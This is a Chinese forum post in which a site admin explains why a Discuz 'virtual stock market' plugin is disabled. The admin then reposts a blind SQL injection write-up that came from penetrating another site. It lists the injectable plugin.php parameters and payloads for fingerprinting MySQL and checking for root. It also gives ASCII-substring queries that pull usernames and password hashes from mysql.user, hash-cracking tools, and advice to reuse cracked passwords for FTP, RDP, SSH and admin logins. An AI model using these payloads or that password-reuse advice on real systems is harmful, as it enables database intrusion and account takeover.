TA的每日心情 | 奋斗 4 小时前 |
---|
签到天数: 2358 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。 T7 [5 h- {8 @, C) r7 y& \* t
" N( ?: X5 O( X3 P# _我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。# \1 r3 L9 ?& t6 j5 o1 a3 r4 L
4 N4 L4 y* u2 z2 r* T _: Y% p( M
漏洞如下: A9 {( K3 O. ~) K
& C( G! G+ Y3 T. q5 ^
Discuz插件《虚拟股市》blind Injection Vul利用 D3 v2 k& }: u
" a# Q' F0 ^$ L5 m# C! `
Y: E- j$ T* k- z" L2 _; [0 s漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。 $ P) U" r: ^) t3 ? T
经过简单的测试,就发现了《虚拟股市》存在注射漏洞:
/ j- u) m! J' ?) J! d. `http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
* q q% d, J lhttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
9 c M3 U8 v# E: H& A1 C确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 $ o+ j0 m8 I8 K" f3 e
思路有二: 0 I/ Z/ _9 j7 i# ]! M# P( Z
1.尝试盲注
* k y1 T+ F$ d4 q/ h, ~( p) F2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
1 d+ I2 T& v# U& z2 h但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 . i, k7 m. N( O
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: 3 A, R& [; U- O4 V0 i5 B
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 7 G6 v' m8 [) I' |6 I8 q5 S
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 , W2 t6 o" ~: X! X N4 a) p
#是否支持子查询(版本为4的情况下) 6 W3 }, |4 r: d8 _" k% T
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
. @3 Q6 P* J6 u; V$ r0 s#当前用户是否为root : c: M5 ?! o& h/ p, J
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
, p! C+ ~0 \4 d0 z% |下面就根据情况而异了: ; y9 K( E }& ]. u/ Q
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 0 I r( r4 R+ m H# |# m8 z2 V
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 4 B3 o/ l e( Q' [
#######取数据 9 Y% F! Y7 f7 f* q) \
#mysql.user表第一行第一个字符的ASCII值是否大于80
+ K* e l$ g: Z M: ?and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 9 R7 o6 P0 h9 z/ {) i
#第二个字符的ASCII值是否大于90
, a0 O: X' _1 }and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
Q# J- ?1 @1 P$ g5 X E………… 4 ~# \- K8 X! t6 F+ w5 B
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
) U% {3 Y$ T4 X1 u N! z! H密码破解: 0 q% K+ u& a& ]
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。 / g2 Y, K$ B/ n7 _0 L" C; Q8 u8 P/ G
2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|